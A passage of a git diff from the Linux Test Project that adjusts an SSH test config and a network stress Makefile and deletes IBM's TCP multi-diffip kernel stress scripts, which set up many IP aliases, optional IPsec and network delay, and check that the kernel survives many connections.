"$minor" -ge 8 ]; then + cat << EOF >> sshd_config +PerSourcePenalties no +EOF + fi ssh-keygen -q -N "" -t rsa -b 4096 -f $TST_TMPDIR/ssh_host_rsa_key ssh-keygen -q -N "" -t ecdsa -f $TST_TMPDIR/ssh_host_ecdsa_key ssh-keygen -q -N "" -t ed25519 -f $TST_TMPDIR/ssh_host_ed25519_key diff --git a/ltp/testcases/network/stress/tcp/Makefile b/ltp/testcases/network/stress/tcp/Makefile index 46d33535..55a44997 100644 --- a/ltp/testcases/network/stress/tcp/Makefile +++ b/ltp/testcases/network/stress/tcp/Makefile @@ -6,7 +6,6 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/env_pre.mk -INSTALL_TARGETS := tcp_ipsec.sh \ - tcp_ipsec_vti.sh +INSTALL_TARGETS := *.sh -include $(top_srcdir)/include/mk/generic_trunk_target.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/multi-diffip/00_Descriptions.txt deleted file mode 100644 index beacb104..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/00_Descriptions.txt +++ /dev/null @@ -1,125 +0,0 @@ -Verify that the kernel is not crashed with multiple connection to the different -IP address(alias) - -tcp4-multi-diffip01 - IPv4 - -tcp4-multi-diffip02 - IPv4 - IPsec [ AH / transport ] - -tcp4-multi-diffip03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-multi-diffip04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-multi-diffip05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-multi-diffip06 - IPv4 - IPcomp [ transport ] - -tcp4-multi-diffip07 - IPv4 - IPcomp [ tunnel ] - -tcp4-multi-diffip08 - IPv4 - Network is delayed - -tcp4-multi-diffip09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-multi-diffip10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-multi-diffip11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-multi-diffip12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-multi-diffip13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-multi-diffip14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-multi-diffip01 - IPv6 - -tcp6-multi-diffip02 - IPv6 - IPsec [ AH / transport ] - -tcp6-multi-diffip03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-multi-diffip04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-multi-diffip05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-multi-diffip06 - IPv6 - IPcomp [ transport ] - -tcp6-multi-diffip07 - IPv6 - IPcomp [ tunnel ] - -tcp6-multi-diffip08 - IPv6 - Network is delayed - -tcp6-multi-diffip09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-multi-diffip10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-multi-diffip11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-multi-diffip12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-multi-diffip13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-multi-diffip14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/Makefile b/ltp/testcases/network/stress/tcp/multi-diffip/Makefile deleted file mode 100644 index 727b2ccb..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/multi-diffip testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01 deleted file mode 100644 index c96942f3..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01 +++ /dev/null @@ -1,450 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip01 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-multi-diffip01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with multiple connection to the different IP address(alias)." - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# The number of IP address (alias) -IP_TOTAL_FOR_TCPIP=${IP_TOTAL_FOR_TCPIP:-100} - -#The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - -# true, if network is delayed -DO_NET_DELAY=${DO_NET_DELAY:-false} - -# Amount of network delay [ms] -NET_DELAY=${NET_DELAY:-600} - -# The deflection of network delay [ms] -NET_DELAY_DEFL=${NET_DELAY_DEFL:-200} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the tcp traffic server - killall_tcp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Unset network delay - if [ x$rhost_ifname = x ]; then - rhost_ifname=`get_ifname rhost $LINK_NUM` - fi - $LTP_RSH $RHOST "PATH=/sbin:/usr/sbin:$PATH tc qdisc del dev $rhost_ifname root netem" >/dev/null 2>&1 - - # Clean up each interface - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" -tst_resm TINFO "- Target number of the connection is $IP_TOTAL_FOR_TCPIP" -tst_resm TINFO "- Version of IP is IPv${IP_VER}" - -if $DO_NET_DELAY ; then - message=`check_netem` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - tst_resm TINFO "- Network delay is ${NET_DELAY}ms +/- ${NET_DELAY_DEFL}ms" -fi - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# name of interface of the local/remote host -lhost_ifname=`get_ifname lhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL -fi - -rhost_ifname=`get_ifname rhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL -fi - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# Make the network delay -if $DO_NET_DELAY ; then - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH tc' qdisc add dev $rhost_ifname root netem delay ${NET_DELAY}ms ${NET_DELAY_DEFL}ms distribution normal' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "Failed to make the delayed network" - exit 1 - fi -fi - -# Loop for assign IP addresses -ipaddr_pair_num=0 -while [ $ipaddr_pair_num -lt $IP_TOTAL_FOR_TCPIP ]; do - # Add new IP addresses - x=`expr $ipaddr_pair_num \/ 255 % 255` - y=`expr $ipaddr_pair_num % 255` - if [ $x -ge 255 ]; then - tst_resm TINFO "This script cannot add more than $ipaddr_pair_num addresses" - break - fi - - case $IP_VER in - 4) - network_part="10.${x}.${y}" - network_broadcast=${network_part}.255 - network_mask=24 - lhost_addr="${network_part}.2" - rhost_addr="${network_part}.1" - - # Set IPv4 addresses to the interfaces - ip addr add ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname - if [ $? -eq 2 ]; then - ip addr del ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname 2>&1 - ip addr add ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname - fi - if [ $? -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local" - exit 1 - else - tst_resm TINFO "The number of IP address at the local host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname' ; echo $?'` - - if [ $ret -eq 2 ]; then - $LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr del ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname' ; echo $?'` - fi - - if [ $ret -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote" - exit 1 - else - tst_resm TINFO "The number of IP address at the remote host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - ;; - - 6) - hex_x=`printf %x $x` - hex_y=`printf %x $y` - - network_part="fd00:1:${hex_x}:${hex_y}" - network_mask=64 - lhost_addr="${network_part}::2" - rhost_addr="${network_part}::1" - - # Set IPv6 addresses to the interfaces - ip addr add ${lhost_addr}/${network_mask} dev $lhost_ifname - - if [ $? -eq 2 ]; then - ip addr del ${lhost_addr}/${network_mask} dev $lhost_ifname 2>&1 - ip addr add ${lhost_addr}/${network_mask} dev $lhost_ifname - fi - - if [ $? -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local" - exit 1 - else - tst_resm TINFO "The number of IP address at the local host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} dev $rhost_ifname' ; echo $?'` - - if [ $ret -eq 2 ]; then - $LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr del ${rhost_addr}/${network_mask} dev $rhost_ifname - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} dev $rhost_ifname' ; echo $?'` - fi - - if [ $ret -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote" - exit 1 - else - tst_resm TINFO "The number of IP address at the remote host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - ;; - esac - - # Set SAD/SPD - if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any SAD/SPD" - exit 1 - else - tst_resm TINFO "The number of SAD/SPD seems to reach the maximum at the local host." - fi - break - fi - rm -f $ipsec_log - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any SAD/SPD" - exit 1 - else - tst_resm TINFO "The number of SAD/SPD seems to reach the maximum at the remote host." - fi - break - fi - rm -f $ipsec_log - fi - - # Check the connectivity - case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "No IPv4 connectivity among ${ipaddr_pair_num}th IP address pair" - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "No IPv6 connectivity among ${ipaddr_pair_num}th IP address pair" - exit 1 - fi - ;; - esac - - if [ $? -ne 0 ]; then - tst_resm TFAIL "There is no connectivity." - exit 1 - fi - - ipaddr_pair_num=`expr $ipaddr_pair_num + 1` -done - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Find the available consecutive ports -server_port=`find_portbundle tcp 1025 1` -if [ $? -ne 0 ]; then - tst_resm TFAIL "No port is available." - exit 1 -fi - -# Run a server -info_file=`mktemp -p $TMPDIR` - -ns-tcpserver -b -c -f $IP_VER -p $server_port -o $info_file -if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run tcp traffic server." - rm -f $info_file - exit 1 -fi - -while true ; do - if [ -s $info_file ]; then - break - fi -done - -server_pid=`grep PID: $info_file | cut -f 2 -d ' '` -rm -f $info_file - -# Make connections -connection_num=0 -while [ $connection_num -lt $ipaddr_pair_num ]; do - # IP addresses - x=`expr $connection_num \/ 255 % 255` - y=`expr $connection_num % 255` - - case $IP_VER in - 4) - lhost_addr="10.${x}.${y}.2" - ;; - - 6) - hex_x=`printf %x $x` - hex_y=`printf %x $y` - lhost_addr="fd00:1:${hex_x}:${hex_y}::2" - ;; - esac - - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-tcpclient -b -f $IP_VER -S $lhost_addr -p $server_port' ; echo $?'` - if [ $ret -ne 0 ]; then - if [ $connection_num -eq 0 ]; then - tst_resm TFAIL "Failed to run any client" - exit 1 - else - tst_resm TINFO "$connection_num seems the maximum number of the client" - fi - break - fi - connection_num=`expr $connection_num + 1` -done - -# Watch the TCP traffic server -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - - if [ $elapse_epoc -ge $NS_DURATION ]; then - killall -SIGHUP ns-tcpserver - break - else - ps auxw | fgrep ns-tcpserver | fgrep -l $server_pid >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "tcp traffic server is dead in $elapse_epoc [sec]" - exit 1 - fi - fi - sleep 1 -done - - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02 deleted file mode 100644 index 13ee525b..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip02 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03 deleted file mode 100644 index 2812986a..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip03 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04 deleted file mode 100644 index 8549e02d..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip04 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05 deleted file mode 100644 index befd1c0e..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip05 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06 deleted file mode 100644 index 69fd4fbe..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip06 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07 deleted file mode 100644 index 944ed602..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip07 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08 deleted file mode 100644 index e8a55375..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip08 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec is not used -# -# Setup: -# See 